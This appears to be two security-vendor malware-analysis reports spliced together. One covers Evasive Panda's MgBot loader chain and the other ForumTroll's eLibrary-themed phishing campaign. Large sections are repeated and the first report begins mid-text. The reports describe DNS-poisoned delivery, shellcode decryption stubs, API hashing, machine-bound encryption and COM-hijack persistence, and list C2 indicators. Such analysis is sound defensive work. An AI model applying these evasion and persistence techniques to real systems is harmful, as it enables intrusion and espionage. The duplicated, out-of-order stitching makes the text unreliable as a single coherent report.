The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net